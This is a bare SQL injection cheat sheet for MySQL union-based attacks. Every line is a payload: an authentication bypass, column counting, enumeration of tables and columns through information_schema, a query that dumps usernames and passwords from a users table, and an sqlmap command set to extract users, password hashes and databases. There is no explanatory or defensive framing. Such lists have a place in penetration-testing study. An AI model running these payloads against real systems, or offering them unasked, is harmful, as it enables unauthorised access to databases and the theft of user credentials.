[+] Union Based SQL Injection
' or 1=1#
1' ORDER BY 10#
1' UNION SELECT version(),2#
1' UNION SELECT version(),database()#
1' UNION SELECT version(),user()#
1' UNION ALL SELECT table_name,2 from information_schema.tables#
1' UNION ALL SELECT column_name,2 from information_schema.columns where table_name = "users"#
1' UNION ALL SELECT concat(user,char(58),password),2 from users#
sqlmap --url="" -p username --user-agent=SQLMAP --threads=10 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs